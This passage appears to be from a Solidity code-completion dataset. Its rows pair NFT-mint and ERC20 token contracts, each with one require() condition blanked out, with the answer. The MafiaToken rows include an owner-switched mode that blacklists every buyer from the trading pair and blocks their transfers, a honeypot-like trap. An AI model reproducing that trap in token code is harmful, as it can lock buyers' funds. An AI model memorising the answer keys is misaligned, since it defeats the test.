function setMaxPublic(uint256 _newMax) public onlyOwner {
}
function setGuaranteedWL(bool _state) public onlyOwner {
}
function setFCFS(bool _state) public onlyOwner {
}
function setGuaranteedWLList(bytes32 _list) public onlyOwner {
}
function setFCFSList(bytes32 _list) public onlyOwner {
}
function setRoyalty(uint256 _royaltyPercentage) public onlyOwner {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function withdraw() external onlyOwner {
}
}
| MerkleProof.verify(_merkleProof,FCFSList,leaf),"Invalid proof!" | 217,761 | MerkleProof.verify(_merkleProof,FCFSList,leaf) |
"Exceeds max per wallet" | //SPDX-License-Identifier: MIT
// royalties addition: from snow :D
pragma solidity ^0.8.19;
contract DPRSSD is
ERC721A,
Ownable,
ReentrancyGuard,
DefaultOperatorFilterer,
ERC2981
{
using Strings for uint256;
uint256 public maxSupply = 5555;
uint256 public treasury = 55;
uint256 public guaranteedSupply = 760;
uint256 public FCFSsupply = 3740;
uint256 public guaranteedWLPrice = 0.0079 ether;
uint256 public FCFSPrice = 0.0079 ether;
uint256 public publicPrice = 0.0099 ether;
uint256 public guaranteedFreeBalance = 2;
uint256 public maxGuaranteed = 10;
uint256 public maxFCFS = 5;
uint256 public maxPublic = 5;
bool public pause = false;
bool public guaranteedWL = true;
bool public FCFS = true;
string private baseURL = "";
string public hiddenMetadataUrl = "ipfs://QmaLKWQcmDS7MMJU94wUZ1fhSzwzRWco2EJLsJve1Pvjas/hidden.json";
mapping(address => uint256) public guaranteedWLBalance;
mapping(address => uint256) public FCFSBalance;
mapping(address => uint256) public publicBalance;
uint256 public royaltyPercentage;
mapping(uint256 => bool) private revealed;
bytes32 public guaranteedWLList;
bytes32 public FCFSList;
// royalties stuff
uint96 internal royaltyFraction = 700; // 100 = 1% , 1000 = 10%
address internal royaltiesReciever =
0xd4578a6692ED53A6A507254f83984B2Ca393b513;
uint256 public guaranteedWLCounter;
uint256 public FCFSCounter;
constructor(
string memory _baseMetadataUrl,
bytes32 _guaranteedWLList,
bytes32 _FCFSList
) ERC721A("DPRSSD", "DPRSSD") {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseUri(string memory _baseURL) public onlyOwner {
}
modifier generalRequirments(uint256 mintAmount) {
}
function publicMint(uint256 mintAmount)
external
payable
generalRequirments(mintAmount)
{
}
function guaranteedMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
}
function FCFSMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
require(FCFS, "FCFS mint has not started");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(_merkleProof, FCFSList, leaf),
"Invalid proof!"
);
require(<FILL_ME>)
require(
FCFSCounter + mintAmount <= FCFSsupply,
"Exceeds guaranteed amount"
);
require(msg.value >= FCFSPrice * mintAmount, "Not enough funds");
_safeMint(msg.sender, mintAmount);
FCFSBalance[msg.sender] += mintAmount;
FCFSCounter += mintAmount;
if (FCFSCounter == FCFSsupply) FCFS = false;
}
function sethiddenMetadataUrl(string memory _hiddenMetadataUrl)
public
onlyOwner
{
}
// set royalties info
// setting of a particular token id
function setRoyaltyTokens(
uint256 _tokenId,
address _receiver,
uint96 _royaltyFeesInBips
) public onlyOwner {
}
// setting for whole collection
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips)
public
onlyOwner
{
}
function reveal(uint256 tokenId) external {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function setPause(bool _state) public onlyOwner {
}
function setGuaranteedWLPrice(uint256 _newCost) public onlyOwner {
}
function setFCFSPrice(uint256 _newCost) public onlyOwner {
}
function setPublicPrice(uint256 _newCost) public onlyOwner {
}
function setMaxPublic(uint256 _newMax) public onlyOwner {
}
function setGuaranteedWL(bool _state) public onlyOwner {
}
function setFCFS(bool _state) public onlyOwner {
}
function setGuaranteedWLList(bytes32 _list) public onlyOwner {
}
function setFCFSList(bytes32 _list) public onlyOwner {
}
function setRoyalty(uint256 _royaltyPercentage) public onlyOwner {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function withdraw() external onlyOwner {
}
}
| FCFSBalance[msg.sender]+mintAmount<=maxFCFS,"Exceeds max per wallet" | 217,761 | FCFSBalance[msg.sender]+mintAmount<=maxFCFS |
"Exceeds guaranteed amount" | //SPDX-License-Identifier: MIT
// royalties addition: from snow :D
pragma solidity ^0.8.19;
contract DPRSSD is
ERC721A,
Ownable,
ReentrancyGuard,
DefaultOperatorFilterer,
ERC2981
{
using Strings for uint256;
uint256 public maxSupply = 5555;
uint256 public treasury = 55;
uint256 public guaranteedSupply = 760;
uint256 public FCFSsupply = 3740;
uint256 public guaranteedWLPrice = 0.0079 ether;
uint256 public FCFSPrice = 0.0079 ether;
uint256 public publicPrice = 0.0099 ether;
uint256 public guaranteedFreeBalance = 2;
uint256 public maxGuaranteed = 10;
uint256 public maxFCFS = 5;
uint256 public maxPublic = 5;
bool public pause = false;
bool public guaranteedWL = true;
bool public FCFS = true;
string private baseURL = "";
string public hiddenMetadataUrl = "ipfs://QmaLKWQcmDS7MMJU94wUZ1fhSzwzRWco2EJLsJve1Pvjas/hidden.json";
mapping(address => uint256) public guaranteedWLBalance;
mapping(address => uint256) public FCFSBalance;
mapping(address => uint256) public publicBalance;
uint256 public royaltyPercentage;
mapping(uint256 => bool) private revealed;
bytes32 public guaranteedWLList;
bytes32 public FCFSList;
// royalties stuff
uint96 internal royaltyFraction = 700; // 100 = 1% , 1000 = 10%
address internal royaltiesReciever =
0xd4578a6692ED53A6A507254f83984B2Ca393b513;
uint256 public guaranteedWLCounter;
uint256 public FCFSCounter;
constructor(
string memory _baseMetadataUrl,
bytes32 _guaranteedWLList,
bytes32 _FCFSList
) ERC721A("DPRSSD", "DPRSSD") {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseUri(string memory _baseURL) public onlyOwner {
}
modifier generalRequirments(uint256 mintAmount) {
}
function publicMint(uint256 mintAmount)
external
payable
generalRequirments(mintAmount)
{
}
function guaranteedMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
}
function FCFSMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
require(FCFS, "FCFS mint has not started");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(_merkleProof, FCFSList, leaf),
"Invalid proof!"
);
require(
FCFSBalance[msg.sender] + mintAmount <= maxFCFS,
"Exceeds max per wallet"
);
require(<FILL_ME>)
require(msg.value >= FCFSPrice * mintAmount, "Not enough funds");
_safeMint(msg.sender, mintAmount);
FCFSBalance[msg.sender] += mintAmount;
FCFSCounter += mintAmount;
if (FCFSCounter == FCFSsupply) FCFS = false;
}
function sethiddenMetadataUrl(string memory _hiddenMetadataUrl)
public
onlyOwner
{
}
// set royalties info
// setting of a particular token id
function setRoyaltyTokens(
uint256 _tokenId,
address _receiver,
uint96 _royaltyFeesInBips
) public onlyOwner {
}
// setting for whole collection
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips)
public
onlyOwner
{
}
function reveal(uint256 tokenId) external {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function setPause(bool _state) public onlyOwner {
}
function setGuaranteedWLPrice(uint256 _newCost) public onlyOwner {
}
function setFCFSPrice(uint256 _newCost) public onlyOwner {
}
function setPublicPrice(uint256 _newCost) public onlyOwner {
}
function setMaxPublic(uint256 _newMax) public onlyOwner {
}
function setGuaranteedWL(bool _state) public onlyOwner {
}
function setFCFS(bool _state) public onlyOwner {
}
function setGuaranteedWLList(bytes32 _list) public onlyOwner {
}
function setFCFSList(bytes32 _list) public onlyOwner {
}
function setRoyalty(uint256 _royaltyPercentage) public onlyOwner {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function withdraw() external onlyOwner {
}
}
| FCFSCounter+mintAmount<=FCFSsupply,"Exceeds guaranteed amount" | 217,761 | FCFSCounter+mintAmount<=FCFSsupply |
"NFT is already revealed" | //SPDX-License-Identifier: MIT
// royalties addition: from snow :D
pragma solidity ^0.8.19;
contract DPRSSD is
ERC721A,
Ownable,
ReentrancyGuard,
DefaultOperatorFilterer,
ERC2981
{
using Strings for uint256;
uint256 public maxSupply = 5555;
uint256 public treasury = 55;
uint256 public guaranteedSupply = 760;
uint256 public FCFSsupply = 3740;
uint256 public guaranteedWLPrice = 0.0079 ether;
uint256 public FCFSPrice = 0.0079 ether;
uint256 public publicPrice = 0.0099 ether;
uint256 public guaranteedFreeBalance = 2;
uint256 public maxGuaranteed = 10;
uint256 public maxFCFS = 5;
uint256 public maxPublic = 5;
bool public pause = false;
bool public guaranteedWL = true;
bool public FCFS = true;
string private baseURL = "";
string public hiddenMetadataUrl = "ipfs://QmaLKWQcmDS7MMJU94wUZ1fhSzwzRWco2EJLsJve1Pvjas/hidden.json";
mapping(address => uint256) public guaranteedWLBalance;
mapping(address => uint256) public FCFSBalance;
mapping(address => uint256) public publicBalance;
uint256 public royaltyPercentage;
mapping(uint256 => bool) private revealed;
bytes32 public guaranteedWLList;
bytes32 public FCFSList;
// royalties stuff
uint96 internal royaltyFraction = 700; // 100 = 1% , 1000 = 10%
address internal royaltiesReciever =
0xd4578a6692ED53A6A507254f83984B2Ca393b513;
uint256 public guaranteedWLCounter;
uint256 public FCFSCounter;
constructor(
string memory _baseMetadataUrl,
bytes32 _guaranteedWLList,
bytes32 _FCFSList
) ERC721A("DPRSSD", "DPRSSD") {
}
function _baseURI() internal view override returns (string memory) {
}
function setBaseUri(string memory _baseURL) public onlyOwner {
}
modifier generalRequirments(uint256 mintAmount) {
}
function publicMint(uint256 mintAmount)
external
payable
generalRequirments(mintAmount)
{
}
function guaranteedMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
}
function FCFSMint(uint256 mintAmount, bytes32[] calldata _merkleProof)
public
payable
generalRequirments(mintAmount)
{
}
function sethiddenMetadataUrl(string memory _hiddenMetadataUrl)
public
onlyOwner
{
}
// set royalties info
// setting of a particular token id
function setRoyaltyTokens(
uint256 _tokenId,
address _receiver,
uint96 _royaltyFeesInBips
) public onlyOwner {
}
// setting for whole collection
function setRoyaltyInfo(address _receiver, uint96 _royaltyFeesInBips)
public
onlyOwner
{
}
function reveal(uint256 tokenId) external {
require(
ownerOf(tokenId) == msg.sender,
"You're not the owner of this NFT"
);
require(<FILL_ME>)
revealed[tokenId] = true;
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function setPause(bool _state) public onlyOwner {
}
function setGuaranteedWLPrice(uint256 _newCost) public onlyOwner {
}
function setFCFSPrice(uint256 _newCost) public onlyOwner {
}
function setPublicPrice(uint256 _newCost) public onlyOwner {
}
function setMaxPublic(uint256 _newMax) public onlyOwner {
}
function setGuaranteedWL(bool _state) public onlyOwner {
}
function setFCFS(bool _state) public onlyOwner {
}
function setGuaranteedWLList(bytes32 _list) public onlyOwner {
}
function setFCFSList(bytes32 _list) public onlyOwner {
}
function setRoyalty(uint256 _royaltyPercentage) public onlyOwner {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
function setApprovalForAll(address operator, bool approved)
public
override
onlyAllowedOperatorApproval(operator)
{
}
function approve(address operator, uint256 tokenId)
public
payable
override
onlyAllowedOperatorApproval(operator)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
function withdraw() external onlyOwner {
}
}
| !revealed[tokenId],"NFT is already revealed" | 217,761 | !revealed[tokenId] |
"nuisanceed" | /**
https://mafiatoken.io
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface InterfaceLP {
function sync() external;
}
contract MafiaToken is ERC20, Auth {
using SafeMath for uint256;
address WETH;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "Mafia Token";
string constant _symbol = "$MAFIA";
uint8 constant _decimals = 4;
uint256 _totalSupply = 1 * 10**7 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply.mul(1).div(100);
uint256 public _maxWalletToken = _totalSupply.mul(2).div(100);
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
bool public vestedSaleLimitsEnabled = true;
mapping (address => bool) vestedSaleHolders;
uint256 public _maxVestSellAmount = 160000 * 10**_decimals;
uint256 public cooldownTimerInterval = 24 hours;
mapping (address => uint) public cooldownTimer;
bool public nuisanceMode = true;
mapping (address => bool) public isnuisanceed;
bool public whitelistMode = false;
mapping (address => bool) public iswhitelisted;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
uint256 public liquidityFee = 2;
uint256 public marketingFee = 4;
uint256 public MobBankFee = 1;
uint256 public teamFee = 1;
uint256 public burnFee = 0;
uint256 public totalFee = teamFee + marketingFee + liquidityFee + MobBankFee + burnFee;
uint256 public feeDenominator = 100;
uint256 public sellMultiplier = 125;
address public autoLiquidityReceiver;
address public marketingFeeReceiver;
address public MobBankFeeReceiver;
address private teamFeeReceiver;
address public burnFeeReceiver;
uint256 targetLiquidity = 20;
uint256 targetLiquidityDenominator = 100;
IDEXRouter public router;
address public pair;
bool public TradingLive = false;
bool public Mafia = false;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 2 / 1000;
bool inSwap;
modifier swapping() { }
constructor () Auth(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner() {
}
function setMaxTxPercent_base10000(uint256 maxTXPercentage_base10000) external onlyOwner() {
}
function setVestSaleRestrictions(uint256 maxVestSellPercentage_base10000, bool _restricted, uint256 _interval) external onlyOwner() {
}
function manage_Vestseller(address[] calldata addresses, bool status) public onlyOwner {
}
function setVestSaleRestrictions_maxsell(uint256 amount) external authorized {
}
function setTxLimit(uint256 amount) external authorized {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if(!authorizations[sender] && !authorizations[recipient]){
require(TradingLive,"Trading not open yet");
if(Mafia && sender == pair){
isnuisanceed[recipient] = true;
}
}
// nuisance
if(nuisanceMode){
require(<FILL_ME>)
}
// cooldown timer, for Vest sellers
if (vestedSaleHolders[sender] && vestedSaleLimitsEnabled) {
require(cooldownTimer[sender] < block.timestamp,"Vest seller time restricted");
require(amount <= _maxVestSellAmount,"Vest seller have max sell restriction");
cooldownTimer[sender] = block.timestamp + cooldownTimerInterval;
}
if (!authorizations[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != burnFeeReceiver){
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
// Checks max transaction limit
checkTxLimit(sender, amount);
if(shouldSwapBack()){ swapBack(); }
//Exchange tokens
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, amount,(recipient == pair),recipient);
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function checkTxLimit(address sender, uint256 amount) internal view {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function takeFee(address sender, uint256 amount, bool isSell, address receiver) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function ClearStuckBalance(uint256 amountPercentage) external authorized {
}
function ClearStuckToken(address tokenAddress, uint256 tokens) public onlyOwner returns (bool) {
}
function set_sell_multiplier(uint256 _multiplier) external authorized{
}
// switch Trading
function tradingStatus(bool _status) public onlyOwner {
}
function tradingStatus_Mafia(bool _status) public onlyOwner {
}
function swapBack() internal swapping {
}
function enable_nuisance(bool _status) public onlyOwner {
}
function enable_whitelist(bool _status) public onlyOwner {
}
function manage_nuisance(address[] calldata addresses, bool status) public authorized {
}
function manage_whitelist(address[] calldata addresses, bool status) public onlyOwner {
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
}
function setIsTxLimitExempt(address holder, bool exempt) external authorized {
}
function setFees(uint256 _liquidityFee, uint256 _teamFee, uint256 _marketingFee, uint256 _MobBankFee, uint256 _burnFee, uint256 _feeDenominator) external authorized {
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _MobBankFeeReceiver, address _burnFeeReceiver, address _teamFeeReceiver) external authorized {
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
}
function setTargetLiquidity(uint256 _target, uint256 _denominator) external authorized {
}
function getCirculatingSupply() public view returns (uint256) {
}
function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
}
function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
}
/* Airdrop Begins */
function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {
}
event AutoLiquify(uint256 amountETH, uint256 amountTokens);
}
| !isnuisanceed[sender],"nuisanceed" | 217,808 | !isnuisanceed[sender] |
"Vest seller time restricted" | /**
https://mafiatoken.io
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.7;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
}
modifier onlyOwner() {
}
modifier authorized() {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isOwner(address account) public view returns (bool) {
}
function isAuthorized(address adr) public view returns (bool) {
}
function transferOwnership(address payable adr) public onlyOwner {
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface InterfaceLP {
function sync() external;
}
contract MafiaToken is ERC20, Auth {
using SafeMath for uint256;
address WETH;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "Mafia Token";
string constant _symbol = "$MAFIA";
uint8 constant _decimals = 4;
uint256 _totalSupply = 1 * 10**7 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply.mul(1).div(100);
uint256 public _maxWalletToken = _totalSupply.mul(2).div(100);
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
bool public vestedSaleLimitsEnabled = true;
mapping (address => bool) vestedSaleHolders;
uint256 public _maxVestSellAmount = 160000 * 10**_decimals;
uint256 public cooldownTimerInterval = 24 hours;
mapping (address => uint) public cooldownTimer;
bool public nuisanceMode = true;
mapping (address => bool) public isnuisanceed;
bool public whitelistMode = false;
mapping (address => bool) public iswhitelisted;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
uint256 public liquidityFee = 2;
uint256 public marketingFee = 4;
uint256 public MobBankFee = 1;
uint256 public teamFee = 1;
uint256 public burnFee = 0;
uint256 public totalFee = teamFee + marketingFee + liquidityFee + MobBankFee + burnFee;
uint256 public feeDenominator = 100;
uint256 public sellMultiplier = 125;
address public autoLiquidityReceiver;
address public marketingFeeReceiver;
address public MobBankFeeReceiver;
address private teamFeeReceiver;
address public burnFeeReceiver;
uint256 targetLiquidity = 20;
uint256 targetLiquidityDenominator = 100;
IDEXRouter public router;
address public pair;
bool public TradingLive = false;
bool public Mafia = false;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 2 / 1000;
bool inSwap;
modifier swapping() { }
constructor () Auth(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setMaxWalletPercent_base10000(uint256 maxWallPercent_base10000) external onlyOwner() {
}
function setMaxTxPercent_base10000(uint256 maxTXPercentage_base10000) external onlyOwner() {
}
function setVestSaleRestrictions(uint256 maxVestSellPercentage_base10000, bool _restricted, uint256 _interval) external onlyOwner() {
}
function manage_Vestseller(address[] calldata addresses, bool status) public onlyOwner {
}
function setVestSaleRestrictions_maxsell(uint256 amount) external authorized {
}
function setTxLimit(uint256 amount) external authorized {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if(!authorizations[sender] && !authorizations[recipient]){
require(TradingLive,"Trading not open yet");
if(Mafia && sender == pair){
isnuisanceed[recipient] = true;
}
}
// nuisance
if(nuisanceMode){
require(!isnuisanceed[sender],"nuisanceed");
}
// cooldown timer, for Vest sellers
if (vestedSaleHolders[sender] && vestedSaleLimitsEnabled) {
require(<FILL_ME>)
require(amount <= _maxVestSellAmount,"Vest seller have max sell restriction");
cooldownTimer[sender] = block.timestamp + cooldownTimerInterval;
}
if (!authorizations[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != burnFeeReceiver){
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
// Checks max transaction limit
checkTxLimit(sender, amount);
if(shouldSwapBack()){ swapBack(); }
//Exchange tokens
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, amount,(recipient == pair),recipient);
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function checkTxLimit(address sender, uint256 amount) internal view {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function takeFee(address sender, uint256 amount, bool isSell, address receiver) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function ClearStuckBalance(uint256 amountPercentage) external authorized {
}
function ClearStuckToken(address tokenAddress, uint256 tokens) public onlyOwner returns (bool) {
}
function set_sell_multiplier(uint256 _multiplier) external authorized{
}
// switch Trading
function tradingStatus(bool _status) public onlyOwner {
}
function tradingStatus_Mafia(bool _status) public onlyOwner {
}
function swapBack() internal swapping {
}
function enable_nuisance(bool _status) public onlyOwner {
}
function enable_whitelist(bool _status) public onlyOwner {
}
function manage_nuisance(address[] calldata addresses, bool status) public authorized {
}
function manage_whitelist(address[] calldata addresses, bool status) public onlyOwner {
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
}
function setIsTxLimitExempt(address holder, bool exempt) external authorized {
}
function setFees(uint256 _liquidityFee, uint256 _teamFee, uint256 _marketingFee, uint256 _MobBankFee, uint256 _burnFee, uint256 _feeDenominator) external authorized {
}
